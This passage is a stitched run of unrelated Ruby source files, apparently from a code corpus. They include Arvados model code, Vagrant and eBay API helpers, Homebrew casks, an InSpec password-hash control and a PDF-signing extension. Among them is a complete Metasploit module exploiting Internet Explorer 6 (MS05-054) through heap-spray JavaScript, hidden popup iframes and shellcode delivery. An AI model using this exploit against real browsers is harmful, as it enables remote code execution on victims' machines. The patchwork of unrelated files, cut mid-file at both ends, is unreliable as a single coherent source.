detail = err.result.error_field(PG::Result::PG_DIAG_MESSAGE_DETAIL)
raise unless /^Key \(owner_uuid, name\)=\([a-z0-9]{5}-[a-z0-9]{5}-[a-z0-9]{15}, .*?\) already exists\./.match detail
new_name = "#{name_was} (#{db_current_time.utc.iso8601(3)})"
if new_name == name
# If the database is fast enough to do two attempts in the
# same millisecond, we need to wait to ensure we try a
# different timestamp on each attempt.
sleep 0.002
new_name = "#{name_was} (#{db_current_time.utc.iso8601(3)})"
end
self[:name] = new_name
if uuid_was.nil? && !uuid.nil?
self[:uuid] = nil
if self.is_a? Collection
# Reset so that is assigned to the new UUID
self[:current_version_uuid] = nil
end
end
conn.exec_query 'SAVEPOINT save_with_unique_name'
retry
ensure
conn.exec_query 'RELEASE SAVEPOINT save_with_unique_name'
end
end
end
def user_owner_uuid
if self.owner_uuid.nil?
return current_user.uuid
end
owner_class = ArvadosModel.resource_class_for_uuid(self.owner_uuid)
if owner_class == User
self.owner_uuid
else
owner_class.find_by_uuid(self.owner_uuid).user_owner_uuid
end
end
def logged_attributes
attributes.except(*Rails.configuration.AuditLogs.UnloggedAttributes.stringify_keys.keys)
end
def self.full_text_searchable_columns
self.columns.select do |col|
[:string, :text, :jsonb].include?(col.type)
end.map(&:name)
end
def self.full_text_coalesce
full_text_searchable_columns.collect do |column|
is_jsonb = self.columns.select{|x|x.name == column}[0].type == :jsonb
cast = (is_jsonb || serialized_attributes[column]) ? '::text' : ''
"coalesce(#{column}#{cast},'')"
end
end
def self.full_text_trgm
"(#{full_text_coalesce.join(" || ' ' || ")})"
end
def self.full_text_tsvector
parts = full_text_searchable_columns.collect do |column|
is_jsonb = self.columns.select{|x|x.name == column}[0].type == :jsonb
cast = (is_jsonb || serialized_attributes[column]) ? '::text' : ''
"coalesce(#{column}#{cast},'')"
end
"to_tsvector('english', substr(#{parts.join(" || ' ' || ")}, 0, 8000))"
end
def self.apply_filters query, filters
ft = record_filters filters, self
if not ft[:cond_out].any?
return query
end
ft[:joins].each do |t|
query = query.joins(t)
end
query.where('(' + ft[:cond_out].join(') AND (') + ')',
*ft[:param_out])
end
protected
def self.deep_sort_hash(x)
if x.is_a? Hash
x.sort.collect do |k, v|
[k, deep_sort_hash(v)]
end.to_h
elsif x.is_a? Array
x.collect { |v| deep_sort_hash(v) }
else
x
end
end
def ensure_ownership_path_leads_to_user
if new_record? or owner_uuid_changed?
uuid_in_path = {owner_uuid => true, uuid => true}
x = owner_uuid
while (owner_class = ArvadosModel::resource_class_for_uuid(x)) != User
begin
if x == uuid
# Test for cycles with the new version, not the DB contents
x = owner_uuid
elsif !owner_class.respond_to? :find_by_uuid
raise ActiveRecord::RecordNotFound.new
else
x = owner_class.find_by_uuid(x).owner_uuid
end
rescue ActiveRecord::RecordNotFound => e
errors.add :owner_uuid, "is not owned by any user: #{e}"
throw(:abort)
end
if uuid_in_path[x]
if x == owner_uuid
errors.add :owner_uuid, "would create an ownership cycle"
else
errors.add :owner_uuid, "has an ownership cycle"
end
throw(:abort)
end
uuid_in_path[x] = true
end
end
true
end
def set_default_owner
if new_record? and current_user and respond_to? :owner_uuid=
self.owner_uuid ||= current_user.uuid
end
end
def ensure_owner_uuid_is_permitted
raise PermissionDeniedError if !current_user
if self.owner_uuid.nil?
errors.add :owner_uuid, "cannot be nil"
raise PermissionDeniedError
end
rsc_class = ArvadosModel::resource_class_for_uuid owner_uuid
unless rsc_class == User or rsc_class == Group
errors.add :owner_uuid, "must be set to User or Group"
raise PermissionDeniedError
end
if new_record? || owner_uuid_changed?
# Permission on owner_uuid_was is needed to move an existing
# object away from its previous owner (which implies permission
# to modify this object itself, so we don't need to check that
# separately). Permission on the new owner_uuid is also needed.
[['old', owner_uuid_was],
['new', owner_uuid]
].each do |which, check_uuid|
if check_uuid.nil?
# old_owner_uuid is nil? New record, no need to check.
elsif !current_user.can?(write: check_uuid)
logger.warn "User #{current_user.uuid} tried to set ownership of #{self.class.to_s} #{self.uuid} but does not have permission to write #{which} owner_uuid #{check_uuid}"
errors.add :owner_uuid, "cannot be set or changed without write permission on #{which} owner"
raise PermissionDeniedError
elsif rsc_class == Group && Group.find_by_uuid(owner_uuid).group_class != "project"
errors.add :owner_uuid, "must be a project"
raise PermissionDeniedError
end
end
else
# If the object already existed and we're not changing
# owner_uuid, we only need write permission on the object
# itself.
if !current_user.can?(write: self.uuid)
logger.warn "User #{current_user.uuid} tried to modify #{self.class.to_s} #{self.uuid} without write permission"
errors.add :uuid, " #{uuid} is not writable by #{current_user.uuid}"
raise PermissionDeniedError
end
end
true
end
def ensure_permission_to_save
unless (new_record? ? permission_to_create : permission_to_update)
raise PermissionDeniedError
end
end
def permission_to_create
current_user.andand.is_active
end
def permission_to_update
if !current_user
logger.warn "Anonymous user tried to update #{self.class.to_s} #{self.uuid_was}"
return false
end
if !current_user.is_active
logger.warn "Inactive user #{current_user.uuid} tried to update #{self.class.to_s} #{self.uuid_was}"
return false
end
return true if current_user.is_admin
if self.uuid_changed?
logger.warn "User #{current_user.uuid} tried to change uuid of #{self.class.to_s} #{self.uuid_was} to #{self.uuid}"
return false
end
return true
end
def ensure_permission_to_destroy
raise PermissionDeniedError unless permission_to_destroy
end
def permission_to_destroy
if [system_user_uuid, system_group_uuid, anonymous_group_uuid,
anonymous_user_uuid, public_project_uuid].include? uuid
false
else
permission_to_update
end
end
def maybe_update_modified_by_fields
update_modified_by_fields if self.changed? or self.new_record?
true
end
def update_modified_by_fields
current_time = db_current_time
self.created_at ||= created_at_was || current_time
self.updated_at = current_time
self.owner_uuid ||= current_default_owner if self.respond_to? :owner_uuid=
if !anonymous_updater
self.modified_by_user_uuid = current_user ? current_user.uuid : nil
end
if !timeless_updater
self.modified_at = current_time
end
self.modified_by_client_uuid = current_api_client ? current_api_client.uuid : nil
true
end
def self.has_nonstring_keys? x
if x.is_a? Hash
x.each do |k,v|
return true if !(k.is_a?(String) || k.is_a?(Symbol)) || has_nonstring_keys?(v)
end
elsif x.is_a? Array
x.each do |v|
return true if has_nonstring_keys?(v)
end
end
false
end
def self.where_serialized(colname, value, md5: false, multivalue: false)
colsql = colname.to_s
if md5
colsql = "md5(#{colsql})"
end
if value.empty?
# rails4 stores as null, rails3 stored as serialized [] or {}
sql = "#{colsql} is null or #{colsql} IN (?)"
sorted = value
else
sql = "#{colsql} IN (?)"
sorted = deep_sort_hash(value)
end
params = []
if multivalue
sorted.each do |v|
params << v.to_yaml
params << SafeJSON.dump(v)
end
else
params << sorted.to_yaml
params << SafeJSON.dump(sorted)
end
if md5
params = params.map { |x| Digest::MD5.hexdigest(x) }
end
where(sql, params)
end
Serializer = {
Hash => HashSerializer,
Array => ArraySerializer,
}
def self.serialize(colname, type)
coder = Serializer[type]
@serialized_attributes ||= {}
@serialized_attributes[colname.to_s] = coder
super(colname, coder)
end
def self.serialized_attributes
@serialized_attributes ||= {}
end
def serialized_attributes
self.class.serialized_attributes
end
def foreign_key_attributes
attributes.keys.select { |a| a.match(/_uuid$/) }
end
def skip_uuid_read_permission_check
%w(modified_by_client_uuid)
end
def skip_uuid_existence_check
[]
end
def normalize_collection_uuids
foreign_key_attributes.each do |attr|
attr_value = send attr
if attr_value.is_a? String and
attr_value.match(/^[0-9a-f]{32,}(\+[@\w]+)*$/)
begin
send "#{attr}=", Collection.normalize_uuid(attr_value)
rescue
# TODO: abort instead of silently accepting unnormalizable value?
end
end
end
end
@@prefixes_hash = nil
def self.uuid_prefixes
unless @@prefixes_hash
@@prefixes_hash = {}
Rails.application.eager_load!
ActiveRecord::Base.descendants.reject(&:abstract_class?).each do |k|
if k.respond_to?(:uuid_prefix)
@@prefixes_hash[k.uuid_prefix] = k
end
end
end
@@prefixes_hash
end
def self.uuid_like_pattern
"#{Rails.configuration.ClusterID}-#{uuid_prefix}-_______________"
end
def self.uuid_regex
%r/[a-z0-9]{5}-#{uuid_prefix}-[a-z0-9]{15}/
end
def check_readable_uuid attr, attr_value
return if attr_value.nil?
if (r = ArvadosModel::resource_class_for_uuid attr_value)
unless skip_uuid_read_permission_check.include? attr
r = r.readable_by(current_user)
end
if r.where(uuid: attr_value).count == 0
errors.add(attr, "'#{attr_value}' not found")
end
else
# Not a valid uuid or PDH, but that (currently) is not an error.
end
end
def ensure_valid_uuids
specials = [system_user_uuid]
foreign_key_attributes.each do |attr|
if new_record? or send (attr + "_changed?")
next if skip_uuid_existence_check.include? attr
attr_value = send attr
next if specials.include? attr_value
check_readable_uuid attr, attr_value
end
end
end
def ensure_filesystem_compatible_name
if name == "." || name == ".."
errors.add(:name, "cannot be '.' or '..'")
elsif Rails.configuration.Collections.ForwardSlashNameSubstitution == "" && !name.nil? && name.index('/')
errors.add(:name, "cannot contain a '/' character")
end
end
class Email
def self.kind
"email"
end
def kind
self.class.kind
end
def self.readable_by (*u)
self
end
def self.where (u)
[{:uuid => u[:uuid]}]
end
end
def self.resource_class_for_uuid(uuid)
if uuid.is_a? ArvadosModel
return uuid.class
end
unless uuid.is_a? String
return nil
end
uuid.match HasUuid::UUID_REGEX do |re|
return uuid_prefixes[re[1]] if uuid_prefixes[re[1]]
end
if uuid.match(/.+@.+/)
return Email
end
nil
end
# Fill in implied zero/false values in database records that were
# created before #17014 made them explicit, and reset the Rails
# "changed" state so the record doesn't appear to have been modified
# after loading.
#
# Invoked by Container and ContainerRequest models as an after_find
# hook.
def fill_container_defaults_after_find
fill_container_defaults
set_attribute_was('runtime_constraints', runtime_constraints)
set_attribute_was('scheduling_parameters', scheduling_parameters)
clear_changes_information
end
# Fill in implied zero/false values. Invoked by ContainerRequest as
# a before_validation hook in order to (a) ensure every key has a
# value in the updated database record and (b) ensure the attribute
# whitelist doesn't reject a change from an explicit zero/false
# value in the database to an implicit zero/false value in an update
# request.
def fill_container_defaults
self.runtime_constraints = {
'API' => false,
'cuda' => {
'device_count' => 0,
'driver_version' => '',
'hardware_capability' => '',
},
'keep_cache_ram' => 0,
'ram' => 0,
'vcpus' => 0,
}.merge(attributes['runtime_constraints'] || {})
self.scheduling_parameters = {
'max_run_time' => 0,
'partitions' => [],
'preemptible' => false,
}.merge(attributes['scheduling_parameters'] || {})
end
# ArvadosModel.find_by_uuid needs extra magic to allow it to return
# an object in any class.
def self.find_by_uuid uuid
if self == ArvadosModel
# If called directly as ArvadosModel.find_by_uuid rather than via subclass,
# delegate to the appropriate subclass based on the given uuid.
self.resource_class_for_uuid(uuid).find_by_uuid(uuid)
else
super
end
end
def is_audit_logging_enabled?
return !(Rails.configuration.AuditLogs.MaxAge.to_i == 0 &&
Rails.configuration.AuditLogs.MaxDeleteBatch.to_i > 0)
end
def schedule_restoring_changes
# This will be checked at log_start_state, to reset any (virtual) changes
# produced by the act of reading a serialized attribute.
@fresh_from_database = true
end
def log_start_state
if is_audit_logging_enabled?
@old_attributes = Marshal.load(Marshal.dump(attributes))
@old_logged_attributes = Marshal.load(Marshal.dump(logged_attributes))
if @fresh_from_database
# This instance was created from reading a database record. Attributes
# haven't been changed, but those serialized attributes will be reported
# as unpersisted, so we restore them to avoid issues with lock!() and
# with_lock().
restore_attributes
@fresh_from_database = nil
end
end
end
def log_change(event_type)
if is_audit_logging_enabled?
log = Log.new(event_type: event_type).fill_object(self)
yield log
log.save!
log_start_state
end
end
def log_create
if is_audit_logging_enabled?
log_change('create') do |log|
log.fill_properties('old', nil, nil)
log.update_to self
end
end
end
def log_update
if is_audit_logging_enabled?
log_change('update') do |log|
log.fill_properties('old', etag(@old_attributes), @old_logged_attributes)
log.update_to self
end
end
end
def log_destroy
if is_audit_logging_enabled?
log_change('delete') do |log|
log.fill_properties('old', etag(@old_attributes), @old_logged_attributes)
log.update_to nil
end
end
end
end
| 32.705231 | 179 | 0.67083 |
ed527fd31e2314724dd5fff853fe73dddf25573a | 831 | class Dtomo < ApplicationRecord
belongs_to :user
validate :name_validator
validates :name, presence: :true
validates :stage, inclusion: { in: [1, 2, 3, 4] }
validates :evo_type, inclusion: { in: %w(good bad neutral) }
validates :happiness_meter, inclusion: { in: (0..100).to_a }
validates :hunger_meter, inclusion: { in: (0..100).to_a }
validates :weight_meter, inclusion: { in: (0..100).to_a }
validates :total_points, numericality: :true
validates :evolution_countdown, numericality: :true
scope :valid_dtomos, -> {where("stage < ?", 4)}
def name_validator
return if name =~ /\A(?=.*?[A-Za-z0-9]).{1,15}\z/
errors.add :name, "requirements not met. Length should be 1-15 characters and can only inclusion: alphanumeric characters and underscores"
end
end
| 39.571429 | 146 | 0.663057 |
910658284856f446f4feb7076e96d9bd13870624 | 1,658 | require "vagrant/action/builder"
require "vagrant-extended-storage/action"
require "vagrant-extended-storage/action/manage_storage"
module VagrantPlugins
module ExtendedStorage
module Action
include Vagrant::Action::Builtin
autoload :CreateAdapter, File.expand_path("../action/create_adapter.rb", __FILE__)
autoload :CreateStorage, File.expand_path("../action/create_storage.rb", __FILE__)
autoload :AttachStorage, File.expand_path("../action/attach_storage.rb", __FILE__)
autoload :DetachStorage, File.expand_path("../action/detach_storage.rb", __FILE__)
autoload :ManageStorage, File.expand_path("../action/manage_storage.rb", __FILE__)
def self.create_adapter
Vagrant::Action::Builder.new.tap do |builder|
builder.use ConfigValidate
builder.use CreateAdapter
end
end
def self.create_storage
Vagrant::Action::Builder.new.tap do |builder|
builder.use ConfigValidate
builder.use CreateStorage
end
end
def self.attach_storage
Vagrant::Action::Builder.new.tap do |builder|
builder.use ConfigValidate
builder.use AttachStorage
end
end
def self.detach_storage
Vagrant::Action::Builder.new.tap do |builder|
builder.use ConfigValidate
builder.use DetachStorage
end
end
def self.manage_storage
Vagrant::Action::Builder.new.tap do |builder|
builder.use ConfigValidate
builder.use ManageAll
end
end
end
end
end
| 30.703704 | 100 | 0.645959 |
61c17e0ac5e39888d4a922d7f5da430d8ad3a34d | 704 | require 'ebay/types/store_theme'
require 'ebay/types/store_color_scheme'
module Ebay # :nodoc:
module Types # :nodoc:
# == Attributes
# array_node :themes, 'Theme', :class => StoreTheme, :default_value => []
# array_node :generic_color_schemes, 'GenericColorSchemeArray', 'ColorScheme', :class => StoreColorScheme, :default_value => []
class StoreThemeArray
include XML::Mapping
include Initializer
root_element_name 'StoreThemeArray'
array_node :themes, 'Theme', :class => StoreTheme, :default_value => []
array_node :generic_color_schemes, 'GenericColorSchemeArray', 'ColorScheme', :class => StoreColorScheme, :default_value => []
end
end
end
| 35.2 | 132 | 0.701705 |
bfc65ee05c6161a41f085552747b88e4ff6e00cc | 3,365 | # This file was automatically generated for ClickSend by APIMATIC v2.0 ( https://apimatic.io ).
module ClickSend
class HttpClient
# Execute an HttpRequest when the response is expected to be a string.
# @param [HttpRequest] The HttpRequest to be executed.
def execute_as_string(http_request)
raise NotImplementedError, 'This method needs to be implemented in a child class.'
end
# Execute an HttpRequest when the response is expected to be binary.
# @param [HttpRequest] The HttpRequest to be executed.
def execute_as_binary(http_request)
raise NotImplementedError, 'This method needs to be implemented in a child class.'
end
# Converts the HTTP Response from the client to an HttpResponse object.
# @param [Dynamic] The response object received from the client.
def convert_response(response)
raise NotImplementedError, 'This method needs to be implemented in a child class.'
end
# Get a GET HttpRequest object.
# @param [String] The URL to send the request to.
# @param [Hash, Optional] The headers for the HTTP Request.
def get(query_url,
headers: {})
return HttpRequest.new(HttpMethodEnum::GET,
query_url,
headers: headers)
end
# Get a POST HttpRequest object.
# @param [String] The URL to send the request to.
# @param [Hash, Optional] The headers for the HTTP Request.
# @param [Hash, Optional] The parameters for the HTTP Request.
def post(query_url,
headers: {},
parameters: {})
return HttpRequest.new(HttpMethodEnum::POST,
query_url,
headers: headers,
parameters: parameters)
end
# Get a PUT HttpRequest object.
# @param [String] The URL to send the request to.
# @param [Hash, Optional] The headers for the HTTP Request.
# @param [Hash, Optional] The parameters for the HTTP Request.
def put(query_url,
headers: {},
parameters: {})
return HttpRequest.new(HttpMethodEnum::PUT,
query_url,
headers: headers,
parameters: parameters)
end
# Get a PATCH HttpRequest object.
# @param [String] The URL to send the request to.
# @param [Hash, Optional] The headers for the HTTP Request.
# @param [Hash, Optional] The parameters for the HTTP Request.
def patch(query_url,
headers: {},
parameters: {})
return HttpRequest.new(HttpMethodEnum::PATCH,
query_url,
headers: headers,
parameters: parameters)
end
# Get a DELETE HttpRequest object.
# @param [String] The URL to send the request to.
# @param [Hash, Optional] The headers for the HTTP Request.
def delete(query_url,
headers: {},
parameters: {})
return HttpRequest.new(HttpMethodEnum::DELETE,
query_url,
headers: headers,
parameters: parameters)
end
end
end
| 39.588235 | 96 | 0.574146 |
d50595a423faa2d7a9274bad3a48eb0add81fac0 | 2,148 | # This file is copied to spec/ when you run 'rails generate rspec:install'
require "spec_helper"
ENV["RAILS_ENV"] ||= "test"
require File.expand_path("../config/environment", __dir__)
# Prevent database truncation if the environment is production
abort("The Rails environment is running in production mode!") if Rails.env.production?
require "rspec/rails"
# Add additional requires below this line. Rails is not loaded until this point!
# Requires supporting ruby files with custom matchers and macros, etc, in
# spec/support/ and its subdirectories. Files matching `spec/**/*_spec.rb` are
# run as spec files by default. This means that files in spec/support that end
# in _spec.rb will both be required and run as specs, causing the specs to be
# run twice. It is recommended that you do not name files matching this glob to
# end with _spec.rb. You can configure this pattern with the --pattern
# option on the command line or in ~/.rspec, .rspec or `.rspec-local`.
#
# The following line is provided for convenience purposes. It has the downside
# of increasing the boot-up time by auto-requiring all files in the support
# directory. Alternatively, in the individual `*_spec.rb` files, manually
# require only the support files necessary.
#
Dir[Rails.root.join("spec", "support", "**", "*.rb")].sort.each { |f| require f }
RSpec.configure do |config|
# RSpec Rails can automatically mix in different behaviours to your tests
# based on their file location, for example enabling you to call `get` and
# `post` in specs under `spec/controllers`.
#
# You can disable this behaviour by removing the line below, and instead
# explicitly tag your specs with their type, e.g.:
#
# RSpec.describe UsersController, :type => :controller do
# # ...
# end
#
# The different available types are documented in the features, such as in
# https://relishapp.com/rspec/rspec-rails/docs
config.infer_spec_type_from_file_location!
# Filter lines from Rails gems in backtraces.
config.filter_rails_from_backtrace!
# arbitrary gems may also be filtered via:
# config.filter_gems_from_backtrace("gem name")
end
| 44.75 | 86 | 0.743017 |
282764235c798ffc190c695eb0c25eb77e933c13 | 467 | cask "kode54-cog" do
version "1411,85e27e749"
sha256 "89b3ef9d3252275338ae59ad5f74cbc39da21f132ae86d8920d3f7ec717c9bd4"
url "https://f.losno.co/cog/Cog-#{version.after_comma}.zip",
verified: "losno.co/cog/"
name "Cog"
homepage "https://kode54.net/cog/"
livecheck do
url "https://balde.losno.co/cog/mercury.xml"
strategy :sparkle do |item|
item.version.split("-g", 2).join(",")
end
end
auto_updates true
app "Cog.app"
end
| 22.238095 | 75 | 0.683084 |
112b90ed566c1635215a480de690f415e58465e3 | 1,415 | control "ESXI-67-000033" do
title "The password hashes stored on the ESXi host must have been generated
using a FIPS 140-2 approved cryptographic hashing algorithm."
desc "Systems must employ cryptographic hashes for passwords using the SHA-2
family of algorithms or FIPS 140-2 approved successors. The use of unapproved
algorithms may result in weak password hashes more vulnerable to compromise."
impact 0.5
tag severity: "CAT II"
tag gtitle: "SRG-OS-000480-VMM-002000"
tag rid: "ESXI-67-000033"
tag stig_id: "ESXI-67-000033"
tag cci: "CCI-000366"
tag nist: ["CM-6 b", "Rev_4"]
desc 'check', "From an SSH session connected to the ESXi host, or from the ESXi
shell, run the following command:
# grep -i \"^password\" /etc/pam.d/passwd | grep sufficient
If sha512 is not listed, this is a finding."
desc 'fix', "From an SSH session connected to the ESXi host, or from the ESXi
shell, add or correct the following line in
/etc/pam.d/passwd :
password sufficient /lib/security/$ISA/pam_unix.so use_authtok nullok shadow
sha512 remember=5"
command = "$vmhost = Get-VMHost -Name #{input('vmhostName')}; $esxcli = Get-EsxCli -VMHost $vmhost -V2; $esxcli.software.vib.list.Invoke() | Where {$_.Name -eq '#{input('dodStigVibRootEnabled')}' -or $_.Name -eq '#{input('dodStigVibRootDisabled')}'}"
describe powercli_command(command) do
its('stdout.strip') { should_not cmp "" }
end
end
| 41.617647 | 252 | 0.730742 |
088cafa3f6fdad1885f7b3915a780d4d24ce6792 | 2,097 | require 'thor'
require 'xcodeproj'
module Objc_Obfuscator
module Integrator
def integrate_xcode(encryption_key, project_path, podfile_path, target_name)
project = Xcodeproj::Project.open project_path
main_target = project.targets.first
unless target_name.empty?
main_target = project.targets.select { |a| (a.name == target_name) }.first
end
raise Thor::Error, 'Cannot find the specified target' unless main_target
phase_obf = project.new('PBXShellScriptBuildPhase')
phase_obf.name = "Obfuscate strings"
phase_obf.shell_path = '/bin/bash'
phase_obf.shell_script = <<-SCRIPT
if [ -f "$HOME/.rvm/scripts/rvm" ];
then
source $HOME/.rvm/scripts/rvm
rvm rvmrc trust
rvm rvmrc load
fi
for file in `grep -rl __obfuscate ${SRCROOT}/*.h`; do; objc-obfuscator obfuscate #{encryption_key}; done"
for file in `grep -rl __obfuscate ${SRCROOT}/*.m`; do; objc-obfuscator obfuscate #{encryption_key}; done"
SCRIPT
phase_unobf = project.new('PBXShellScriptBuildPhase')
phase_unobf.name = "Unobfuscate strings"
phase_unobf.shell_path = '/bin/bash'
phase_unobf.shell_script = <<-SCRIPT
find ${SRCROOT} -name "*.bak" -exec bash -c 'mv -f "$1" "${1%.bak}"' _ {} \\;
SCRIPT
build_source_phase_idx = main_target.build_phases.index main_target.source_build_phase
obf_phase_idx = build_source_phase_idx
main_target.build_phases.insert obf_phase_idx, phase_obf
phase_unobf_idx = build_source_phase_idx+2
if(phase_unobf_idx >= main_target.build_phases.size)
main_target.build_phases << phase_unobf
else
main_target.build_phases.insert phase_unobf_idx, phase_unobf
end
project.save
if File.readlines(podfile_path).grep(/objc_obfuscator/).size == 0
File.open(podfile_path, 'a') {|f| f.write('pod "FWTObfuscator"') }
end
say_status :info, 'The project has been correctly update. Please run "pod install" to install the required pods', :blue
end
end
end
| 34.377049 | 125 | 0.680496 |
d5dc1da31a551006166897b37efe740a070b27a7 | 816 | cask "keeweb" do
version "1.18.7"
if Hardware::CPU.intel?
sha256 "f99146aebc34b59ec5ea56ffde2048c860feb69d69b958643efd7485fa7a0135"
url "https://github.com/keeweb/keeweb/releases/download/v#{version}/KeeWeb-#{version}.mac.x64.dmg",
verified: "github.com/keeweb/keeweb/"
else
sha256 "6e4870b1660b91e735eaf30e7d751c7bb8dfae623d5b6c47899bd4d5ab1e6cae"
url "https://github.com/keeweb/keeweb/releases/download/v#{version}/KeeWeb-#{version}.mac.arm64.dmg",
verified: "github.com/keeweb/keeweb/"
end
name "KeeWeb"
desc "Password manager compatible with KeePass"
homepage "https://keeweb.info/"
livecheck do
url :url
strategy :github_latest
end
auto_updates true
app "KeeWeb.app"
uninstall_preflight do
set_ownership "#{appdir}/KeeWeb.app"
end
end
| 26.322581 | 105 | 0.729167 |
010c89bd593f29cde718ca700039c185cfe041fe | 5,142 | ##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
def initialize(info = {})
super(update_info(info,
'Name' => 'MS05-054 Microsoft Internet Explorer JavaScript OnLoad Handler Remote Code Execution',
'Description' => %q{
This bug is triggered when the browser handles a JavaScript 'onLoad' handler in
conjunction with an improperly initialized 'window()' JavaScript function.
This exploit results in a call to an address lower than the heap. The javascript
prompt() places our shellcode near where the call operand points to. We call
prompt() multiple times in separate iframes to place our return address.
We hide the prompts in a popup window behind the main window. We spray the heap
a second time with our shellcode and point the return address to the heap. I use
a fairly high address to make this exploit more reliable. IE will crash when the
exploit completes. Also, please note that Internet Explorer must allow popups
in order to continue exploitation.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Benjamin Tobias Franz', # Discovery
'Stuart Pearson', # Proof of Concept
'Sam Sharps' # Metasploit port
],
'References' =>
[
['MSB', 'MS05-054'],
['CVE', '2005-1790'],
['OSVDB', '17094'],
['BID', '13799'],
['URL', 'http://www.cvedetails.com/cve/CVE-2005-1790'],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00",
'Compat' =>
{
'ConnectionType' => '-find',
},
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[ 'Internet Explorer 6 on Windows XP', { 'iframes' => 4 } ],
[ 'Internet Explorer 6 Windows 2000', { 'iframes' => 8 } ],
],
'DisclosureDate' => 'Nov 21 2005',
'DefaultTarget' => 0))
end
def exploit
@var_redir = rand_text_alpha(rand(100)+1)
super
end
def auto_target(cli, request)
mytarget = nil
agent = request.headers['User-Agent']
print_status("Checking user agent: #{agent}")
if (agent =~ /MSIE 6\.0/ && agent =~ /Windows NT 5\.1/)
mytarget = targets[0] # IE6 on XP
elsif (agent =~ /MSIE 6\.0/ && agent =~ /Windows NT 5\.0/)
mytarget = targets[1] # IE6 on 2000
else
print_error("Unknown User-Agent #{agent}")
end
mytarget
end
def on_request_uri(cli, request)
mytarget = auto_target(cli, request)
var_title = rand_text_alpha(rand(100) + 1)
func_main = rand_text_alpha(rand(100) + 1)
heapspray = ::Rex::Exploitation::JSObfu.new %Q|
function heapspray()
{
shellcode = unescape('#{Rex::Text.to_unescape(regenerate_payload(cli).encoded)}');
var bigblock = unescape("#{Rex::Text.to_unescape(make_nops(4))}");
var headersize = 20;
var slackspace = headersize + shellcode.length;
while (bigblock.length < slackspace) bigblock += bigblock;
var fillblock = bigblock.substring(0,slackspace);
var block = bigblock.substring(0,bigblock.length - slackspace);
while (block.length + slackspace < 0x40000) block = block + block + fillblock;
var memory = new Array();
for (i = 0; i < 250; i++){ memory[i] = block + shellcode }
var ret = "";
var fillmem = "";
for (i = 0; i < 500; i++)
ret += unescape("%u0F0F%u0F0F");
for (i = 0; i < 200; i++)
fillmem += ret;
prompt(fillmem, "");
}
|
heapspray.obfuscate
nofunc = ::Rex::Exploitation::JSObfu.new %Q|
if (document.location.href.indexOf("#{@var_redir}") == -1)
{
var counter = 0;
top.consoleRef = open('','BlankWindow',
'width=100,height=100'
+',menubar=0'
+',toolbar=1'
+',status=0'
+',scrollbars=0'
+',left=1'
+',top=1'
+',resizable=1')
self.focus()
for (counter = 0; counter < #{mytarget['iframes']}; counter++)
{
top.consoleRef.document.writeln('<iframe width=1 height=1 src='+document.location.href+'?p=#{@var_redir}</iframe>');
}
document.writeln("<body onload=\\"setTimeout('#{func_main}()',6000)\\">");
}
else
{
#{heapspray.sym('heapspray')}();
}
|
nofunc.obfuscate
main = %Q|
function #{func_main}()
{
document.write("<TITLE>#{var_title}</TITLE>");
document.write("<body onload=window();>");
window.location.reload();
}
|
html = %Q|
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
<html>
<head>
<meta http-equiv="Content-Language" content="en-gb">
<meta http-equiv="Content-Type" content="text/html; charset=windows-1252">
<script>
#{nofunc}
#{heapspray}
#{main}
</script>
</head>
<body>
</body>
</html>
|
print_status("Sending #{self.name}")
# Transmit the compressed response to the client
send_response(cli, html, { 'Content-Type' => 'text/html', 'Pragma' => 'no-cache' })
# Handle the payload
handler(cli)
end
end
| 26.505155 | 118 | 0.636523 |
2107ee24b8c5d5c9292917173c70be443bd40c59 | 6,154 | require 'openssl'
require 'origami'
include Origami
Origami.module_eval do
self::PDF.class_eval do
def to_blob
output
end
def signature_page(page, options={})
outer_leading = 10
optimus_width = 180
optimus_height = 22 * 3
# Define the attributes of a box where we will put our annotation + mox stamp + description
box = { x: page.MediaBox[2].to_f - optimus_width - outer_leading, y: outer_leading, width: optimus_width, height: optimus_height }
contents = Origami::ContentStream.new
# Load stamp avatar and add reference to the page
if options[:annot_stamp][:avatar]
stamp_avatar_options = {
x: box[:x],
y: box[:y] + 2.5,
width: 60,
height: 60
}
stamp_avatar = Origami::Graphics::ImageXObject.from_image_file(options[:annot_stamp][:avatar].tempfile.path)
options[:annot_stamp][:avatar].tempfile.close!
stamp_avatar.Width = stamp_avatar_options[:width]
stamp_avatar.Height = stamp_avatar_options[:height]
stamp_avatar.ColorSpace = Origami::Graphics::Color::Space::DEVICE_RGB
stamp_avatar.BitsPerComponent = 8
stamp_avatar.Interpolate = true
page.add_xobject(:stamp_avatar, stamp_avatar)
# Draw the image inside the box area
contents.draw_image(:stamp_avatar, stamp_avatar_options)
end
# Write the description text inside the box area
text = line = ''
options[:annot].each_with_index do |value,|
value[0] = value[0].capitalize.gsub('_', ' ')
value[1] = Date.today.to_formatted_s(:rfc822) if value[1] == 'today'
line = "#{value[0]}: #{value[1]}"
text += "\n" if text != ''
text += line
end
page.add_font(:TimesRoman, Origami::Font::Type1::Standard::TimesRoman.new.pre_build)
write_box = { x: box[:x] + stamp_avatar_options[:width] + 5, y: stamp_avatar_options[:y] + stamp_avatar_options[:height] - 5 }
contents.write(text, {
:x => write_box[:x],
:y => write_box[:y],
:rendering => Origami::Text::Rendering::FILL,
:size => 8,
:leading => 8,
:font => :TimesRoman,
:stroke_color => Origami::ContentStream::DEFAULT_STROKE_COLOR
})
# Load stamp sign and add reference to the page
if options[:annot_stamp][:sign]
stamp_sign_options = {
:x => write_box[:x],
:y => stamp_avatar_options[:y],
width: 50,
height: 34
}
stamp_sign = Origami::Graphics::ImageXObject.from_image_file(options[:annot_stamp][:sign].tempfile.path)
options[:annot_stamp][:sign].tempfile.close!
stamp_sign.Width = stamp_sign_options[:width]
stamp_sign.Height = stamp_sign_options[:height]
stamp_sign.ColorSpace = Origami::Graphics::Color::Space::DEVICE_RGB
stamp_sign.BitsPerComponent = 8
stamp_sign.Interpolate = true
page.add_xobject(:stamp_sign, stamp_sign)
# Draw the image inside the box area
